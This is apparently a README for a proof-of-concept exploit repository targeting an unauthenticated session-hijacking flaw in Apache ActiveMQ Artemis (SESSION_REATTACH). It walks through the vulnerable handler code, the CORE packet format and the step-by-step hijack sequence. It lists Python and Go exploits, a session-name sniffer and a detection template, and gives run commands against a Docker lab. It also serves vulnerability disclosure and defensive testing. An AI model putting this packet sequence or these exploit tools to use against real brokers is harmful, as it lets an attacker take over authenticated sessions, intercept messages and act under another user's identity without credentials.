
Python and Go proof-of-concept exploits plus a Docker lab for CVE-2026-57967, unauthenticated ActiveMQ Artemis session hijacking via SESSION_REATTACH.
Unauthenticated remote hijacking of an authenticated CORE-protocol session in
Apache ActiveMQ Artemis 2.50.0 – 2.56.0 (and org.apache.activemq artifacts
1.0.0 – 2.44.0). An attacker who can open a TCP connection to the CORE acceptor
(default 0.0.0.0:61616) and who knows a victim's session name can send a
hand-crafted SESSION_REATTACH packet, and the broker transfers the victim's
fully authenticated session — its security context, consumers, pending
deliveries — onto the attacker's connection. No username, no password, no TLS
client identity is ever checked on this path.
This repository contains a working, dependency-free Python exploit plus a Java "victim" client, and a two-broker docker lab (vulnerable 2.56.0 and fixed 2.57.0) to reproduce the attack end-to-end.
[!CAUTION] This material is provided for authorized security research and defensive testing only (see the disclaimer at the bottom). Attacking systems you do not own or operate without written permission is illegal.
The CORE protocol multiplexes channels over one TCP connection. Channel 1 is
the session-management channel (CoreProtocolManager creates it for every
incoming connection) and — in 2.56.0 — requires no handshake of any kind
before use. ActiveMQPacketHandler dispatches four packet types there,
including REATTACH_SESSION (type 32):
// artemis-server/.../ActiveMQPacketHandler.java, tag 2.56.0
private void handleReattachSession(final ReattachSessionMessage request) {
...
ServerSessionPacketHandler sessionHandler = protocolManager.getSessionHandler(request.getName()); // by NAME only!
if (sessionHandler == null) {
response = new ReattachSessionResponseMessage(-1, false);
} else if (sessionHandler.getChannel().getConfirmationWindowSize() == -1) {
... // DoS branch: the victim's session gets closed
} else {
// Reconnect the channel to the new connection
int serverLastConfirmedCommandID = sessionHandler.transferConnection(connection, request.getLastConfirmedCommandID());
response = new ReattachSessionResponseMessage(serverLastConfirmedCommandID, true);
}
...
}
The handler never consults the SecurityStore — compare the legitimate session
creation path (CREATESESSION), which calls server.validateUser(...).
ReattachSessionMessage carries only a session name and an int. The name
keys CoreProtocolManager.sessionHandlers, so whoever knows it becomes the
session owner: ServerSessionPacketHandler.transferConnection(...) rebinds the
victim's server-side channel to the attacker's TCP connection, replays the
channel's unconfirmed command cache to the attacker, and from then on every
SESS_* packet the attacker sends on that channel executes with the
victim's authenticated security context (browse/consume/send/ack, queue and
address management within the victim's permissions). Message deliveries for
the victim's consumers go to the attacker's socket; the victim's own
connection goes mute — its channel no longer exists on it.
Fixed in 2.57.0 by ARTEMIS-6245,
commit
26ce5813
("Reattachment should be disabled"). The server handler was deleted; the
REATTACH case now always answers ReattachSessionResponseMessage(-1, false),
and connection-level authentication was introduced with the new CONNECT
packet (commit 51b06748, "Improve Core connection handshake").
org.apache.artemis:artemis-server 2.50.0 – 2.56.0org.apache.activemq:artemis-server 1.0.0 – 2.44.0Announcement: OSS Security mirror · ASF advisory text
The CORE wire format is minimal, so exploit.py speaks it with nothing but
the Python standard library:
first frame of a connection is preceded by the 7-byte ASCII magic "ARTEMIS"
frame = [int32 BE length][byte type][int64 BE channelID][payload] (length = frame size - 4)
ARTEMIS + a REATTACH_SESSION
packet (type 32, channel 1). Payload is the victim's session name
(Artemis string encoding: int32 char length + short UTF-8 byte length +
bytes) followed by int32 lastConfirmedCommandID = -1.reattached=true means the authenticated
session now lives on the attacker's connection. (reattached=false is an
existence oracle for session names; against 2.57.0 it is the fixed
behaviour.)SimpleIDGenerator
counts up from USER(10)).SESS_START (type 67) on the victim's channel: deliveries for the
victim's consumers now arrive at the attacker. The PoC prints the
intercepted VICTIM-SECRET-* message bodies as proof.Beyond receiving messages, the attacker can run arbitrary SESS_* operations
(create consumers/producers, send, acknowledge, close — see PacketImpl type
constants in exploit.py) under the victim's identity.
exploit.py Python exploit (stdlib only, zero dependencies)
go/main.go Go exploit (single binary, zero dependencies)
tools/sniffer.py passive CORE session name sniffer (scapy/tcpdump)
tools/check.sh quick version check (bash + nc, no dependencies)
nuclei/ Nuclei detection template (Project Discovery)
victim/Victim.java legitimate authenticated client for demonstration
victim/run.sh build & run the victim against a broker
demo.sh one-shot end-to-end demo: victim -> exploit -> patched check
stand/ docker-compose lab: Artemis 2.56.0 (61616) and 2.57.0 (62616)
logs/ captured outputs of the runs below
Requirements: Docker, Python 3, JDK (javac/java). Go 1.21+ for the Go exploit.
# 1. start the lab (vulnerable 2.56.0 on 61616, fixed 2.57.0 on 62616)
cd stand && docker compose up -d && cd ..
# 2. run everything at once
./demo.sh
# --- or step by step ----------------------------------------------- #
# victim: connects with artuser/artpass, prints SESSION_NAME=..., parks 60 s
./victim/run.sh --host localhost --port 61616 --duration-ms 60000 &
# attacker — Python (second terminal; NO credentials are used):
python3 exploit.py --host localhost --port 61616 \
--session-name "$(cat victim/victim-session.txt)"
# attacker — Go:
cd go && go build -o exploit . && ./exploit \
--host localhost --port 61616 \
--session-name "$(cat ../victim/victim-session.txt)"
# negative control on the fixed broker:
python3 exploit.py --host localhost --port 62616 \
--session-name "$(cat victim/victim-session.txt)"